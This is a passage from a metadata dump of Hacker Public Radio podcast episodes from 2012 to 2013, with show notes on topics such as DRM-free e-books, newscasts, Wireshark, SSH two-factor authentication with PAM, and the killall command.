after \n   the opening cocktail party (Monday). So Day 72 should be Wednesday.\n   * Next year is not a leap year, so last day is March 6.\n   * By the Doomsday perpetual calendar method, Feb 28 is Thursday.\n   \n   Doomsday method: https://en.wikipedia.org/wiki/Doomsday_rule\n   \n   * So March 7 is Thursday, and March 6 is Wednesday.\n   * It worked.\n \nWhy should I bother with Calendar Math?\n - I learn to look for ways to partition hard problems into easier ones.\n - I learn the same skills that I'll need to debug \"off-by-one\" errors\n     and other boundary violations, which kill you in C programs.\n - I will never miss a speaking engagement, as long as I count my \n     Conference Days from the cocktail party, not from the Keynote.\n\n\nNext episode: Part One\n  Counting partridges and gold rings with Pascal\n  - Warning: There will be two semi-magic formulas at the end.\n  - I'll show you an easy way to do running sums in a spreadsheet.\n  - You can skip the formulas, and I'll never know.\n  - Since this is HPR, not school.  We can look up the formulas.\n\n\nContact: Charles in NJ\nEmail: catintp@yahoo.com\n\nCharlie + Alpha + Tango + India + November + Tango + Papa.\n\n
      \n","hostid":229,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"mathematics,\"calendar counting\"","version":0,"downloads":1143,"valid":1}, {"id":1144,"date":"2012-12-20","title":"Who Owns Your Files","duration":1988,"summary":"Ahuka discusses the aftermath of the wiping a Norwegian user's Kindle by Amazon","notes":"

      Indie and Creative Commons

      \n
        \n\t
      • Soundcloud - This is a music and audio sharing site, primarily.
      • \n\t
      • Free Music Archive - Lots of CC-licensed music.
      • \n\t
      • Jamendo - One of the premiere CC music sites.
      • \n\t
      • Bandcamp - I just learned about this site from my friend Craig Maloney, who does the Open Metal Cast. This site has Creative Commons music from bands who want to build a relationship with their fans and sell them music. Good artists like Amanda Palmer are here.
      • \n
      \n

      e-Books

      \nWhen it comes to books, you really are at the mercy of the individual publishers. Most music labels have finally come to accept that no DRM is the best way to go, but must book publishers are still being dragged into the 21st century kicking and screaming. But there are some good places to find e-books that respect your freedom.\n
        \n\t
      • Project Gutenberg - This is the granddaddy of the DRM free book sites. Project Gutenberg makes available books that are in the Public Domain, i.e., where the copyright has run out. These are mainly older books, but a lot of classics are in here. They make books available in all of the major formats.
      • \n\t
      • Baen Books - This publisher specializes in the harder Science Fiction, but they really understand the new media landscape. They not only offer most of their books DRM-free and in multiple formats, but they also have the Baen Free Library, where they offer selected books free of charge. The hope is that with the first taste free, you will want to buy more. And it works. I went there to see what they had, discovered that they had the entire collected works of one of my favorite authors (James H. Schmitz) for sale, and bought the lot of them.
      • \n\t
      • Tor/Forge - A major publisher in the Science Fiction and Fantasy fields, they just moved to going DRM free a few months ago. They did this because other publishers had been successful in so doing.
      • \n\t
      • Angry Robot - Along with Baen, a pioneer in selling DRM-free books in the Science Fiction and Fantasy fields.
      • \n\t
      • Avon Romance - A major publisher of romance novels, they just announced that they are experimenting with DRM-free ebook sales.
      • \n\t
      • O'Reilly Media - The premiere publisher of technical books, they pretty get everything right. They sell e-books without DRM. When a new edition of a book you already bought comes out you can \"upgrade\" for a nominal fee (e.g. I upgraded my Kevin Purdy \"Android\" book for $1). And with older books that they think are no longer worth in print, they are removing the copyright and making them freely available.
      • \n\t
      • ManyBooks.net - This site has a lot of overlap with Project Gutenberg, but also has some newer works that have been made available, such as Charles Stross's Accelerando.
      • \n\t
      • Fictionwise - Although heavy on the Science Fiction and Fantasy, has a lot of offerings in other genres as well. Reasonably priced and DRM-free.
      • \n\t
      • Cory Doctorow - Cory was one of the first authors to make a point of offering all of his works not only DRM-free but free of charge in e-book formats from his Web site. But you know, when the book he co-authored with Charles Stross Rapture of the Nerds came out recently I went to the Google Play store and bought it.
      • \n\t
      • DriveThru Fiction - An interesting site that also has Comics and RPG games available.
      • \n\t
      • Apress - A publisher of technical books that also offers reduced-price e-books if you have already purchased the print title. This is something I'd like to see more of.
      • \n\t
      • Packt Publishing - Another technical book publisher with DRM-free books.
      • \n
      \n

      Audiobooks

      \nThis is where there is still a big disappointment. Audible, which is by any measure the clear leader here, insists on DRM on all of their books, which is why I refuse to get an account. Audible is now owned by Amazon, which sells music tracks as MP3 files without DRM, so there was hope when they bought Audible that we could get DRM-free audiobooks, but that was not the case. Fortunately, there are alternatives.\n
        \n\t
      • eMusic - This is the same site I mentioned above for DRM-free music tracks. They also offer a subscription plan for audiobooks, $10 a month gets you one book. Selection is not as good as Audible, but their list is growing all of the time and I have had no trouble finding books there that interest me. I recently listened to Walter Isaacson's biography of Albert Einstein through a book I bought here.
      • \n\t
      • Podiobooks - This site offers audiobooks in serialized form, much like podcasts offer you a file every week. Heavy on the Science Fiction and Fantasy at this point, but worth checking out. Scott Sigler and J.C. Hutchins are both available here, for instance.
      • \n\t
      • Scott Sigler - Scott used free content to get his name out, but still offers free audio versions on his web site even though he now has a publisher.
      • \n\t
      • Cory Doctorow - Cory in addition to offering free ebooks also offers audiobooks that are DRM-free on a \"name your own price\" basis. Among the readers on his books are Neil Gaiman, Wil Wheaton, Spider Robinson, and Leo Laporte. He even sells files and CDs in Ogg format if you prefer to get your files that way. Due seriously gets freedom, but if you know anything about Cory Doctorow you know that.
      • \n
      \n
      \n

      My web site is at https://www.ahuka.com/.

      \n
      \n

      Remember to support free software!

      \n","hostid":198,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"DRM,\"digital rights management\"","version":0,"downloads":2353,"valid":1}, {"id":1145,"date":"2012-12-21","title":"TGTM Newscast for 12/20/2012","duration":1479,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n
        \n
      • Chavez’s Farewell? \n
      • \n
      • CIA\nTorture, Rendition Victim Wins Landmark European Court Case \n
      • \n
      • Right-to-Work\nin Michigan Is About Politics, Not Economics\n
      • \n
      • HSBC\nHit with Fine for Helping Drug Cartels and Dictators; Executives Too\nBig to Jail\n
      • \n
      • Calling\non Congress: Time to Fix Copyright\n
      • \n
      • ITU\nBoss In Denial: Claims Success, Misrepresents Final Treaty, As US, UK,\nCanada And Many More Refuse To Sign\n
      • \n
      • Sony's\nNew German Ebookstore Features Thousands Of DRM-Free Books\n
      • \n
      • “Six\nStrikes” Scheme May Lead to Lawsuits Against Pirates\n
      • \n
      • Microserver\nMarket Heats up: Intel Atom S1200 (Centerton) Announcement\n
      • \n
      • Verizon\nDetermined to Expose BitTorrent Copyright Trolls\n
      • \n
      \n

      Other Headlines:

      \n
        \n
      • Julian\nAssange Moves Forward Plans To Run For Senate And Start A Wikileaks\nPolitical Party\n
      • \n
      • AFL-CIO\ncalls for universal voter registration\n
      • \n
      • Economic BS\nin Rich Countries is Reinforced by BS about Venezuela\n
      • \n
      • Swedish\nPirate Party Defends Role As Pirate Bay ISP\n
      • \n
      • Pirate\nBay Founder Released From Solitary Confinement\n
      • \n
      \n

      Production and Editorial Selection by DeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \n

      News from \"techdirt.com,\" \"havanatimes.org,\"\n\"perspectives.mvdirona.com,\" \"inthesetimes.com,\"\nand\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com,\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"democracynow.org\" used under permission of the Creative\nCommons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2072,"valid":1}, {"id":1146,"date":"2012-12-24","title":"Wireshark-1","duration":1059,"summary":"An introduction to Wireshark","notes":"

      Wireshark Tutorials

      \n

      The introduction to wireshark is to introduce protocols, and lead people to the existing material and ask for more detailed desires.\n

      \n

      Protocols 101 Wikipedia thinks it is long but not as\nlong as college courses but it covers the basic level stuff\nbut the article should open the rabbit hole a bit.\nhttps://en.wikipedia.org/wiki/Communications_protocol\n

      \n

      A great Compendium of Protocols is here and very\nuseful in under standing what wireshark shows you\nhttps://www.protocols.com/\n

      \n

      To download for Windows or MAC use\nhttps://www.wireshark.org/download.html\nFor Linux use a trusted Repository\n

      \n

      Documents and training videos\nhttps://www.wireshark.org/docs/\n

      \n

      The Wireshark Users Guide\nhttps://www.wireshark.org/docs/wsug_html_chunked/\n

      \n

      Contact NewAgeTechnoHippie at gmail for question or comments

      \n","hostid":177,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"communication protocol\",tcpip,udp,wireshark","version":0,"downloads":2101,"valid":1}, {"id":1147,"date":"2012-12-25","title":"Eulogy for the Netbook","duration":360,"summary":"Memories of the ASUS Eee PC 701 superseded by the rise of the tablet","notes":"

      \nIn this episode I talk about my first netbook and the sadness that comes from knowing the tablet has replaced it.\n

      \n

      \nNo music for this somber affair.\nContact me at aukondk.com\n

      ","hostid":191,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"netbook,\"Dell Mini 9\",\"Dell Mini 10\",tablet","version":0,"downloads":2119,"valid":1}, {"id":1148,"date":"2012-12-26","title":"Development Discussion","duration":4044,"summary":"A discussion about the internals of the HPR scheduling system","notes":"

      \nI am trying to write a script which will implement the scheduling rules for\nHPR. I spoke to Ken Fallon about this, and where it would fit in the overall\ndesign of the HPR system, when we met up at OggCamp 2012 in August, but we\ndidn't manage to resolve very much. So, recently Ken and I began a discussion\nover Mumble to try and make progress. A few minutes in we decided to record\nour discussion for posterity, and this is the result.\n

      \n

      \nThe notes which I had sent Ken before our Mumble session are available in PDF\nformat.\n

      \n

      \nhpr1148_Design_Notes_20121108.html
      \nhpr1148_Design_Notes_20121108.pdf\n

      \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"scheduling,queueing,scripting","version":0,"downloads":1970,"valid":1}, {"id":1149,"date":"2012-12-27","title":"LibreOffice 02 Writer Default Template","duration":1038,"summary":"The default template in LibreOffice Writer","notes":"

      Some useful sites

      \n\n

      My web site is at https://www.ahuka.com/.

      \n

      Remember to support free software!

      \n","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":2133,"valid":1}, {"id":1150,"date":"2012-12-28","title":"Hacking Karma And Reincarnation With The Forgiveness Discipline","duration":2331,"summary":"DeepGeek shares his first speech concerned with Mysticism","notes":"
      \nI recently ran an educational event for a society concerned with Mysticism \nand as such, gave the first speech. I recorded it \"on the fly,\" so there \nare problems with the recording, and I had to cut a few comments that \nwere too soft to be picked up at all by my head-mounted microphone. \n\nWhat follows is the script I wrote for the first three-quarters of the \npresentation.\n\n==================================================================\n\nThe first thing to understand is that we are not really discussing the \ntraditional idea of forgiveness.  We are talking about a whole new \nballgame. This really is not your parents idea of forgiveness.  Let's \nhave an example of old-school forgiveness.\n\n\"Well, you really did it. This is a real, and a really bad, situation, \nand it happens to be your fault. But I'm going to forgive you for what \nyou did. You don't deserve this, but I'm just so much more perfect than you, \nI'm going to do this anyway. Because I have Jesus. By the way, you don't.\nAnd you will always be screwing up. You could stop screwing up, but \nyou wont. Because your not as great a person as I am. You could begin \nto agree with me about everything, but you won't. You could even \nbelieve every last thing I believe. But you won't. So, unlike me, \nthere is no hope of you going to heaven. I will, but you wont. And \nI might not look sad about this, but I really do feel sorry for you.\"\n\n
      \n\n

      \nFor the remainder of the presentation please see https://hackerpublicradio.org/eps/hpr1150.txt\n

      ","hostid":73,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"mysticism","version":0,"downloads":2149,"valid":1}, {"id":1151,"date":"2012-12-31","title":"2012-2013 Hacker Public Radio New Year Show Part 1","duration":12613,"summary":"New Year Show 2013, part 1","notes":"

      \nThe First part of the epic Hacker Public Radio Show.
      \n\nFeel free to listen and send me some show notes\n

      \n

      Featuring:

      \n

      \nartv61
      \nb1ackcr0w
      \nbepc
      \nbiglesp
      \nbobobex
      \ncorenominal
      \ncynicus
      \ndeepgeek
      \ndelwin
      \nDoorZT
      \ndude-man
      \nFiftyOneFifty
      \nGhodmode
      \nhammerron
      \nHanna
      \njnadeau
      \njneusteter
      \nJonTheNiceGuy
      \nken_fallon
      \nKnightwise
      \nkrayonCamping
      \nkt4kb-Jon
      \nKW_Fire
      \nKWisher
      \nliv2tek
      \nnotklaatu
      \norchard
      \nphthano
      \npokey
      \npopey
      \nredsteakraw
      \nsebsebseb_Mageia
      \nSeetee
      \nshfengoli
      \nSndChaser
      \nthelovebug
      \nUrugami
      \nValtam
      \n

      \n\n

      Links

      \n

      \nhttps://techandcoffee.com/
      \nhttps://xkcd.com/936/
      \nhttps://www.youtube.com/watch?v=jskq3-lpQnE
      \nhttps://thedigitallifestyle.com/w/
      \nhttps://simon-listens.blogspot.com/2012/12/simon-040.html
      \nhttps://decoratedair.com/
      \nhttps://www.themagpi.com/
      \nhttps://pi.corenominal.org/
      \nhttps://simon-listens.blogspot.se/2012/12/simon-040.html
      \nhttps://en.wikipedia.org/wiki/IMSAI_8080
      \nhttps://psdoom.sourceforge.net/
      \nhttps://www.visimation.com/imgs/screens/visio_2007_connector_mbsa_d_sm.gif
      \nhttps://arstechnica.com/information-technology/2012/12/10-raspberry-pi-creations-that-show-how-amazing-the-tiny-pc-can-be/
      \nhttps://thebugcast.org/show/123
      \nhttps://graphics.stanford.edu/projects/camera-2.0/
      \nhttps://www.youtube.com/watch?v=xU-a7k4Ocqc
      \nhttps://en.wikipedia.org/wiki/Uganda_Anti-Homosexuality_Bill
      \nhttps://twitpic.com/bqqxno
      \nhttps://plus.google.com/105383789706521884831/posts/gB24HwZTQSp
      \n

      \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2013","version":0,"downloads":2221,"valid":1}, {"id":1152,"date":"2013-01-01","title":"2012-2013 Hacker Public Radio New Year Show Part 2","duration":12579,"summary":"New Year Show 2013, part 2","notes":"The Second part of the epic Hacker Public Radio Show.\nFeel free to listen and send me some show notes \n\n

      Joining

      \nAhuka
      \nartv61
      \nbeto
      \nBill_MI
      \nbobobex
      \nchalkahlom
      \nciak
      \ncobra2
      \ncorenominal
      \ndeltaray
      \ndrw
      \nFiftyOneFifty
      \ngeospart
      \nhonkeymagoo
      \njnadeau
      \njneusteter
      \njrullio
      \njrullo
      \nkrayonCamping
      \nkt4kb-Jon
      \nKwisher2
      \nMaskilPDX
      \nnotklaatu
      \norchard
      \nosama
      \nRandyNose1
      \nruji
      \nsebsebseb_Mageia
      \nSeetee
      \nTonyHughes
      \nUrugami
      \nVerbal
      \n\n

      Links

      \n

      \nhttps://www.computerworld.com.au/article/274883/openchange_kde_bring_exchange_compatibility_linux/
      \nhttps://manilastandardtoday.com/2013/01/01/ubuntu-surprise/
      \nhttps://www.unixporn.com/screenshots/displayimage.php?pid=1455&fullsize=1
      \n

      \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2013","version":0,"downloads":2095,"valid":1}, {"id":1153,"date":"2013-01-02","title":"2012-2013 Hacker Public Radio New Year Show Part 3","duration":10071,"summary":"New Year Show 2013, part 3","notes":"

      \nThe Third part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes\n

      \n\n

      Joining

      \n

      \nammi
      \nAzimuth
      \nb1ackcr0w
      \nblabla
      \ncchivers
      \nchalkahlom
      \ndavemorriss
      \ndeepgeek
      \ndeltaray
      \ndelwin
      \nFiftyOneFifty
      \ngeospart
      \nhonkeymagoo
      \njakowski
      \nJonDoe
      \nJonTheNiceGuy
      \nkt4kb-Jon
      \nlarsson
      \nLe_jax
      \nLordDrachenblut
      \nMaskilPDX
      \nMethodDan
      \nMrGadgets
      \nNYbill
      \nPIpeMan
      \npopey
      \nredsteakraw
      \nrulloj
      \nRuss_W
      \nstubert
      \nthelovebug
      \nThe_Rhino-Tablet
      \ntheru
      \nThistleWeb
      \ntoby
      \nUrugami
      \nusr_share
      \nXoke
      \n

      \n

      Links

      \n

      \nhttps://www.amazon.com/Perplexus-Maze-Game-PlaSmart-Inc/dp/B002NPBT50
      \nhttps://www.thelinuxlink.net/
      \nhttps://twit.tv/show/security-now/384
      \nhttps://www.buzzfeed.com/awesomer/julian-assanges-ok-cupid-profile
      \nhttps://www.imdb.com/title/tt0309614/
      \nhttps://www.google.co.uk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&ved=0CDIQFjAA&url=http%3A%2F%2Fwww.amazon.co.uk%2FGhost-Wires-Adventures-Worlds-Wanted%2Fdp%2F0316212180&ei=2gziUITIOMiRhQedk4DoBA&usg=AFQjCNGoU98MhjwW-PvB6w_X73zRhGSDKg&bvm=bv.1355534169,d.ZG4
      \nhttps://www.amazon.co.uk/Ghost-Wires-Adventures-Worlds-Wanted/dp/0316212180
      \nhttps://www.oxid.it/images/c&a_diehard4_1.png
      \nhttps://uk.imdb.com/title/tt0104692/
      \nhttps://dc260.4shared.com/doc/5u0g9auk/preview.html - nifty use of BASH in The Bourne Ultimatum
      \nhttps://www.criticalcommons.org/Members/ccManager/clips/paycheckholographicinterfacegestural.mp4/view
      \nhttps://www.youtube.com/watch?v=Vxq9yj2pVWk
      \nhttps://sandbox.cctracker.org
      \nhttps://juicereceiver.sourceforge.net/download/index.php
      \nhttps://sixgun.org/lol/
      \n

      \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2013","version":0,"downloads":1961,"valid":1}, {"id":1154,"date":"2013-01-03","title":"2012-2013 Hacker Public Radio New Year Show Part 4","duration":6577,"summary":"New Year Show 2013, part 4","notes":"The fourth part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2013","version":0,"downloads":2021,"valid":1}, {"id":1155,"date":"2013-01-04","title":"2012-2013 Hacker Public Radio New Year Show Part 5","duration":9418,"summary":"New Year Show 2013, part 5","notes":"The fifth part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2013","version":0,"downloads":2098,"valid":1}, {"id":1156,"date":"2013-01-07","title":"2012-2013 Hacker Public Radio New Year Show Part 6","duration":10445,"summary":"New Year Show 2013, part 6","notes":"The sixth part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2013","version":0,"downloads":2137,"valid":1}, {"id":1157,"date":"2013-01-08","title":"2012-2013 Hacker Public Radio New Year Show Part 7","duration":9847,"summary":"New Year Show 2013, part 7","notes":"The seventh part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2013","version":0,"downloads":1888,"valid":1}, {"id":1158,"date":"2013-01-09","title":"2012-2013 Hacker Public Radio New Year Show Part 8","duration":10152,"summary":"New Year Show 2013, part 8","notes":"The eight and final part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes
      \nThe song at the end is \"Love\" by \"Epic Soul Factory\" a The CCHits.net Daily Exposure Show for 2012-04-04. This track is licensed: cc-by-nc-sa","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2013","version":0,"downloads":1955,"valid":1}, {"id":1159,"date":"2013-01-10","title":"Food - Health - Nutritionally Dense food","duration":3252,"summary":"Dude-man speaks of Dr Price and his view that the modern diet leads to physical degeneration","notes":"

      Part 1 of ...I Love Food, Good Food

      \n

      \nA Contribution for HPR from Dude-man@dudmanovi.cz where he talks about a not so well known, but very well thought out and backed up by scientific research started in the 1930's by Weston A Price, who went on after traveling around the world to find healthy people and study what made them healthy to write a large book describing in a language understandable to the lay person what he discovered along with its significance in our own lives should we wish to maximize our health and that of our children and future generations. Of course the first question we should have is what does a healthy person look like, the shape and size, the condition of the teeth etc.\n

      \n

      \nDude-man does his best to share a little of what he's learnt over the last 10 years which he's been putting into practice with his wife, son (7), daughter (2) and their small homestead of Jersey dairy cows and other animals which help provide the staff of life to the whole family.\n

      \n

      \nBooks mentioned\n

      \n

      \nNutrition and Physical Degeneration by Weston A. Price\n

      \n

      \nhttps://www.westonaprice.org/thumbs-up-reviews/nutrition-and-physical-degeneration\n

      \n

      \nNourishing Traditions: The Cookbook that Challenges Politically Correct Nutrition and the Diet Dictocrats\n

      \n

      \nhttps://www.amazon.com/Nourishing-Traditions-Challenges-Politically-Dictocrats/dp/0967089735/ref=la_B000APH4JA_1_1?ie=UTF8&qid=1354738004&sr=1-1\n

      \n

      \nFoundation for Weston A Price\nhttps://www.westonaprice.org\n

      \n

      \nDude-mans Podcast on technology\nhttps://dudmanovi.cz \n

      \n","hostid":230,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"WAP","version":0,"downloads":2075,"valid":1}, {"id":1160,"date":"2013-01-11","title":"TGTM Newscast for 1/8/2013 DeepGeek","duration":1316,"summary":"A newscast from Talk Geek to Me","notes":"\n

      Other Headlines:

      \n
        \n
      • How\nObama Decides Your Fate If He Thinks You're a Terrorist\n
      • \n
      • Irving\nWomen Claim Assault, Humiliation After Roadside Cavity Search\n
      • \n
      • Statement by Julian\nAssange after Six Months in Ecuadorian Embassy\n
      • \n
      • German\nprivacy regulator orders Facebook to end its real name policy\n
      • \n
      • List\nof Groups Harmed by Websites with Anti-Pseudonym Policy\n
      • \n
      \n

      Staffed and produced by the TGTM news team, Editorial Selection by\nDeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \n

      News from \"techdirt.com,\" \"thestand.org,\"  and\n\"havanatimes.org\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"wlcentral.org,\" and \"democracynow.org\" used under\npermission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n

      links

      \nhttps://www.democracynow.org/2013/1/2/headlines#120
      \nhttps://wlcentral.org/node/2801
      \nhttps://www.techdirt.com/articles/20121220/15133521458/politicians-decry-fake-torture-cover-up-real-torture.shtml
      \nhttps://www.thestand.org/2013/01/washingtons-minimum-wage-law-sets-standard-for-nation/
      \nhttps://www.havanatimes.org/?p=83674
      \nhttps://torrentfreak.com/u-s-and-russia-announce-online-piracy-crackdown-agreement-121222/
      \nhttps://www.eff.org/deeplinks/2012/12/government-attorneys-agree-eff-new-counterterrorism-database-rules-threaten
      \nhttps://www.techdirt.com/articles/20121227/02441521496/apparently-congress-isnt-actually-interested-requiring-warrant-law-enforcement-to-read-your-email.shtml
      \nhttps://torrentfreak.com/megaupload-u-s-deliberately-misled-the-court-with-unlawful-search-warrants-130103/
      \nhttps://www.eff.org/deeplinks/2012/12/vermont-supreme-court-allows-limits-government-computer-search-power
      \nhttps://www.theatlantic.com/international/archive/2013/01/how-obama-decides-your-fate-if-he-thinks-youre-a-terrorist/266419/
      \nhttps://dfw.cbslocal.com/2012/12/18/irving-women-claim-assault-humiliation-after-roadside-cavity-search-by-troopers/
      \nhttps://wlcentral.org/node/2800
      \nhttps://www.itworld.com/security/328387/german-privacy-regulator-orders-facebook-end-its-real-name-policy
      \nhttps://geekfeminism.wikia.com/wiki/Who_is_harmed_by_a_%22Real_Names%22_policy%3F
      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1975,"valid":1}, {"id":1161,"date":"2013-01-14","title":"PAM Two Factor Auth SSH","duration":2922,"summary":"Pluggable Authentication Modules and two-factor authentication with SSH","notes":"

      \nThank you to Broke For Free and for their Creative Commons album Broke For Free: Slam Funk, which was used during this latest show at HackerPublicRadio.org\n

      \n\n
      Good sources of information for PAM
      \n\n\n
      Overview of PAM Security
      \n
        \n
      • Definition: Presenting two or more from something you have, something you know, and something you are.
      • \n
      • Centos /etc/pam.d/
      • \n
      • Debian /etc/pam.d/ (common-auth exists in Debian and its a system wide security implementation for all pam.d applications)
      • \n
      \n\n
      Google Two Factor Authentication
      \n\n\n
      General Instructions
      \n
        \n
      • Install git, gcc, and make on your system
        \n$ apt-get install git make gcc
        \n$ yum install git make gcc
      • \n
        \n
      • Execute git command as noted on google's site:
        \n$ git clone https://code.google.com/p/google-authenticator/
      • \n
      • Compile and install the google two factor auth PAM module and application
        \n$ cd google-authenticator/libpam/
        \n$ make install
      • \n
        \t\n
      • Add the following lines to the /etc/pam.d/sshd
        \nauth required pam_google_authenticator.so
      • \n
        \n
      • Location of SSH server configurations
        \n/etc/ssh/sshd_config
      • \n
        \n
      • Add/modify the following stanza to SSH server configuration:
        \nChallengeResponseAuthentication yes
      • \n
        \n
      • Create Google two factor profile for SSH user and answer the setup questions based off your preferences
        \n$ google-authenticator
      • \n
        \n
      • Restart SSH server
        \n$ service ssh restart (on CENTOS try $ service sshd restart)
      • \n
      \n\n
      Wrap Up
      \n
        \n
      • In Debian based systems you can comment out the system wide common-auth by simply adding a # to the beginning of the @include common-auth.
      • \n
      • If you want to use google two auth with other applications simply add it to the appropriate /etc/pam.d/ file
      • \n
      • Other useful PAM modules include the Barada module: libpam-barada (OTP with Android Client), pam_winbind (Samba Active Directory authentication module), and many more.
      • \n
      • Make sure you have dual SSH connections and are sudo or su as a privileged user. Also make sure any files you configure today are backed up before you edit them.
      • \n
      • When setting up Two Factor Auth profiles, go into cleanup mode to ensure you don't use the QR code url where it can be later retrieved from your url history. Also make sure you cleanup your command line and clipboard history so that emergency scratch codes and secret keys can't be found by wondering eyes.
      • \n
      \n\n
      Podcasts worth mentioning.
      \n\n
      \n","hostid":231,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"ssh,authentication,\"two-factor authentication\",google-authenticator","version":0,"downloads":2068,"valid":1}, {"id":1162,"date":"2013-01-15","title":"LiTS 021: killall","duration":1017,"summary":"Kill processes by name with the killall command","notes":"

      The previous two shows have discussed different ways to kill a process using kill and pkill. This episode will cover a third command, killall. The killall command is used to send a signal to every process that is running the identified command. For instance:

      \n

      killall xterm

      \n

      Will send the SIGTERM process to all instances of xterm. Should there be any xterm processes running they would receive the default SIGTERM signal (recall, number 15) and be terminated. If there were no xterm processes running then killall would report the following:

      \n

      xterm: no process found

      \n\n

      \nFor the rest of this episode please check out the shownotes and video at https://www.linuxintheshell.com/2013/01/01/episode-21-killall/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"kill,killall,process","version":0,"downloads":2294,"valid":1}, {"id":1163,"date":"2013-01-16","title":"Installing PYWWS on a Raspberry Pi","duration":920,"summary":"Using a Raspberry Pi with pywws to run a wireless weather station","notes":"

      \nThe USB weather station\nhttps://tinyurl.com/a8ezezy\n

      \n

      \nWeather Charts\nhttps://weather.kernelpanicoggcast.net/index.html\n

      \n

      \nHow-to\nhttps://kernelpanicoggcast.net/phpBB3/viewtopic.php?f=3&t=251&p=393#p393\n

      ","hostid":232,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Raspberry Pi\",\"weather station\",pywws","version":0,"downloads":2063,"valid":1}, {"id":1164,"date":"2013-01-17","title":"About git","duration":1433,"summary":"In this show I talk about the git version control system","notes":"

      \nIn this show I talk about the git version control system. I won't give\nexample commands, but I discuss concepts like commits, branches,\nmerging, push and pull, and rebasing. I also talk about the git workflow\nI use.\n

      \n

      \nI will put some more info on https://johanv.org/node/200.\n

      ","hostid":233,"series":81,"explicit":1,"license":"CC-BY-SA","tags":"version control,cvs,subversion,git","version":0,"downloads":2142,"valid":1}, {"id":1165,"date":"2013-01-18","title":"TGTM Newscast for 1/17/2013","duration":2978,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n
        \n
      • New\nYork Judge Rules Stop-and-Frisk of Bronx Residents Unconstitutional \n
      • \n
      • Did\nJohn Brennan Create the Loopholes CIA Used to Help Spy on New Yorkers?\n
      • \n
      • Executioner-in-Chief\n
      • \n
      • Federal\nCourt Gives Medical Marijuana Dispensary Owner 10 Years in Prison\n
      • \n
      • Violence\nStill Prevalent Despite Progress on LGBTI Rights in Latin America \n
      • \n
      • Verizon’s\n“Six Strikes” Anti-Piracy Measures Unveiled\n
      • \n
      • RapidShare:\nTraffic and Piracy Dipped After New Business Model Kicked In\n
      • \n
      • IBM\nResearcher Feeds Watson Supercomputer The 'Urban Dictionary'; Very\nQuickly Regrets It\n
      • \n
      • ‘First’\nPirate Bay Server on Permanent Display in Computer Museum\n
      • \n
      • The\nFlipside: Embracing Closed Gardens Like The Apple App Store Shows Just\nHow Un-Free You Want To Be\n
      • \n
      \n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by\nDeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \n

      News from \"techdirt.com,\" \"emptywheel.net,\" and\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"rhrealitycheck.org\" used under permission of the Creative\nCommons by-attribution share-alike license.
      \n

      \n

      News from \"venezuelanalysis.com,\" and \"democracynow.org,\" used under\npermission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1916,"valid":1}, {"id":1166,"date":"2013-01-21","title":"Airtime Radio Automation","duration":532,"summary":"Airtime is open source radio automation software which runs on Linux","notes":"

      \nIn this episode I talk about Airtime radio automation software.\n

      \n

      \nLinks:\nAirtime main site:\n

      \n

      \nhttps://www.sourcefabric.org/en/airtime/\n

      \n

      \nAirtime Demo instance to see what it looks and feels like:\n

      \n

      \nhttps://airtime-demo.sourcefabric.org/login\n

      \n

      \nCheck my previous episodes for other Internet Radio topics.\n

      \n

      \nContact me at aukondk.com\n

